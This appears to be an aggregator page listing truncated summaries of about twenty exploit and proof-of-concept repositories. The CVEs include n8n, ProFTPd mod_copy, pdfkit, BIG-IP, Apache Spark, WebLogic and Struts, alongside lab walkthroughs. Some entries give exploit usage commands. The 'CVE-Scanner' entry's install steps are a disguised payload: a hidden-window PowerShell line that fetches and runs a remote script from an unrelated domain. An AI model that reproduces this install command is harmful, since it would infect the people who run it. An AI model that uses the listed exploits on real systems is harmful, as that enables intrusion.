n8n-cve-2025-68613-thm

CVE-2025-68613 – n8n 重大 RCE 悪用 概要 このリポジトリは、n8n ワークフロー自動化プラットフォーム バージョン 0.211.0 から 1.120.3 に影響を与える重大なリモートコード実行 RCE 脆弱性である CVE-2025-68613 CVSS 9.9 の実践的な悪用を記録したものです。 この悪用は、教育目的のみで、管理された TryHackMe ラボ環境 において倫理的 に実施されました。 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-68613 CVSS スコア| 9.9 Critical 公開日|...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution CVE-2015-3306に関連するProFTP 1.3.5サービスの脆弱性を悪用するスクリプト 使用方法 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkitのコマンドインジェクション 説明 CVE-2022-25765 は、pdfkit （Ruby gem）のバージョン 0.8.7.2 に影響するコマンドインジェクション 脆弱性です。この脆弱性は CRITICAL の深刻度（CVSS 9.8）を持ち、認証なしでリモートからコマンドを実行できます。 問題は、pdfkit が url パラメータをサニタイズせずに直接シェルに渡すことにあります。ライブラリは内部で wkhtmltopdf を次のようなコマンドで実行します。 root@kitploit: system"wkhtmltopdf --qui...

RCE-CVE-2020-5902

RCE-CVE-2020-5902 BIG-IP F5 リモートコード実行 説明 これらの攻撃は、F5 Networks が製造する多目的ネットワークデバイスである BIG-IP を標的としています。BIG-IP デバイスは、トラフィックシェーピングシステム、ロードバランサー、ファイアウォール、アクセスゲートウェイ、レートリミッター、または SSL ミドルウェアとして機能するように設定できます。 水曜日、F5 Networks はパッチを公開し、BIG-IP デバイスにおける「リモートコード実行」の脆弱性に関するセキュリティアドバイザリをリリースしました。 F5...

cve-2022-33891

CVE-2022-33891 Apache Spark シェルコマンドインジェクションの脆弱性 Apache Spark シェルコマンドインジェクション脆弱性を悪用するための Python POC。他の POC もいくつか見かけましたが、それらは非常に怪しいものでした。これはクリーンでシンプルです。 私はこのエクスプロイト/脆弱性を発見したわけではありません。コミュニティのために安全な POC を作りたかっただけです ^.^ CVE は Databricks の Kostya Kortchinsky 氏によって発見されました。 更新 2022/9/7: あら、これ用の Metasploi...

Tenda-Router-VR-and-Exploit

Tenda-Router-VR-and-Exploit この記事では、QEMUを使ってAC15 V15.03.05.19 ファームウェアのWebサーバーをエミュレートし、ホストブラウザからアクセスできるようにし、脆弱な /goform/setUsbUnload ハンドラ CVE-2020-10987 を実行して、エミュレートされたrootfs内でコマンド実行を取得する方法を正確に示します。 Overview ファームウェアイメージからsquashfsファイルシステムを抽出し（または今回の場合は入手し）、リバースエンジニアリングを開始します。 qemu-system-arm 上で動作する...

ssh-hardening

SSHの強化 Debian/Ubuntu でのSSHを一度にロックダウン：新しいポート、rootログイン禁止、鍵ベースの認証、オプションのUFWとFail2Ban。 表示される内容 スクリプトを実行すると、OSを検出し、設定を表示してから続行するかどうかを尋ねます： クイックスタート（ステップバイステップ） 1️⃣ gitのインストール（必要な場合） Debian/Ubuntuの場合： root@kitploit: sudo apt-get install -y git 2️⃣ リポジトリのクローンとフォルダへの移動 root@kitploit: rm -rf ssh-hardening...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor 完全なペネトレーションテストのウォークスルー ターゲット: HackSudo Thor from VulnHub 目的: rootアクセスを取得し /root/proof.txt を読み取る 環境: pfSense ファイアウォールによってセグメント化された隔離された VirtualBox ラボ 目次 概要 ネットワークトポロジー 攻撃チェーンの要約 フェーズ1: 受動的偵察 フェーズ2: ネットワークディスカバリと pfSense フェーズ3: ターゲットのスキャンと列挙 フェーズ4: 脆弱性評価 フェーズ5: アクセスの獲得 フェーズ6: 権限昇格...

CVE-2022-30525

CVE-2022-30525 Zyxel ファイアウォールリモートコマンドインジェクションの脆弱性（CVE-2022-30525） Optional Arguments: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" Use python3 CVE-2022-30525.py -u http://127.0.0.1 python3...

CVE-2022-0944

CVE-2022-0944 SQLPad - 模板注入 这是一个盲漏洞，意味着输出会直接返回在响应中。 利用 使用以下命令运行脚本： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 输出 root@kitploit: Login was successfull Exploited! 测试环境 使用 docker： 启动 docker 容器 - sudo docker run -p 13000:3000 -d...

SpringBreakPoC

SpringBreakPoC 最近公開されたSpringBreak脆弱性（CVE-2017-8046）の複数のエンドポイントをテストするためのツールが必要になったのですが、見つからなかったので、急遽これをまとめました。 使い方 root@kitploit: \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | \ | || | | / / | || | || / / | | | | | \ \ || | | | | | || || | \ | | | | \ || | \ | \ \ | ...

PwnKit-CVE-2021-4034

Pwnkit Exploit Instructions I did not write this. This is only to document my exection/instruction of exploit use as there are some very intricate and complicated steps to follow. Files come from the following source:...

CVE-2025-34159

CVE-2025-34159: Coolify における Docker Compose インジェクション 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-34159 影響を受けるバージョン| Coolify ≤ v4.0.0-beta.420.6 修正バージョン| v4.0.0-beta.420.7 深刻度| 重大 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OSコマンドインジェクション, CWE-20 不適切な入力検証 概要...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 説明 この脆弱性により、リモート攻撃者が kubernetes/ingress-nginx の影響を受けるインストール上で任意のコードを実行できるようになります。この脆弱性を悪用するのに認証は必要ありません。特定の欠陥は HTTP リクエストの処理に存在します。...

GPON

GPONホームルーターにおけるRCE（CVE-2018-10561） 脆弱性 現在、多くのルーターがGPONインターネットを利用しており、VPNMentorによって、デバイスのすべての認証をバイパスする方法（CVE-2018-10561 ）が発見されました。この認証バイパスにより、別のコマンドインジェクションの脆弱性（CVE-2018-10562 ）が明らかになり、デバイス上でコマンドを実行することも可能になります。 Shodanによると、執筆時点でこれらのデバイスのうち約100万台がインターネットに露出していました。 必要な依存関係 requests urllib2 テスト済み環境...

CVE-2014-3120

LAB 10-CVE-2014-3120 I. システム分析 Docker環境から攻撃対象領域を特定する まず、環境内で実行されているものを確認します。アクティブなコンテナをすべてリストアップします: root@kitploit: docker ps 結果: コンテナ p1/lab10:latest が実行されており、2つのポート を外部に公開しています: ポートマッピング| プロトコル ---|--- 0.0.0.0:9200 → 9200/tcp| HTTP 要確認 0.0.0.0:9300 → 9300/tcp| 不明 初期観察: ポート 9200 と 9300...

PIL-CVE-2017-8291

Python PIL/Pillow リモートコマンド実行 GhostButt / CVE-2017-8291 中国語版 Chinese version Python PIL Pillow は、Python で人気の画像処理ライブラリです。さまざまな画像形式をサポートし、強力な画像操作機能を提供します。 Python 画像処理モジュール PIL Pillow は、内部で GhostScript を呼び出して EPS 画像を処理するため、GhostButt 脆弱性 CVE-2017-8291 の影響を受けます。この脆弱性により、攻撃者は対象システム上で任意のコマンドを実行できます。 PIL...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexke...

CVE-2020-14882

CVE-2020-14882 このスクリプトは、認証されていないGETリクエストを使用して、Oracle WebLogic Serverでリモートコード実行（RCE）を可能にします。これは脆弱性CVE-2020-14882を悪用します。任意のコマンドを実行することで、攻撃者はサーバーへの不正アクセスを取得できます。 エクスプロイトの詳細 エクスプロイトタイトル: Oracle WebLogic Server、GETリクエストによる認証なしRCE エクスプロイト作者: Danny Safaya CVE: CVE-2020-14882 ベンダーホームページ: Oracle WebLogic...

CVE-2024-53677-POC

CVE-2024-53677 LFI およびリモート実行につながる、ある種の古い Apache Struts の脆弱性。 この脆弱性の詳細については、この素晴らしいブログを参照してください。 Apache Struts パストラバーサル → RCE CVE-2024-53677 POC の使用方法 このCVEに初めて遭遇したとき、正しく実装している良い情報源が見つからなかったため、このツールを可能な限りカスタマイズ可能にするために多くの時間を費やしました。 ほとんどのフラグにはデフォルト値があるので、これらのフラグの多さに臆する必要はありません。 root@kitploit: git...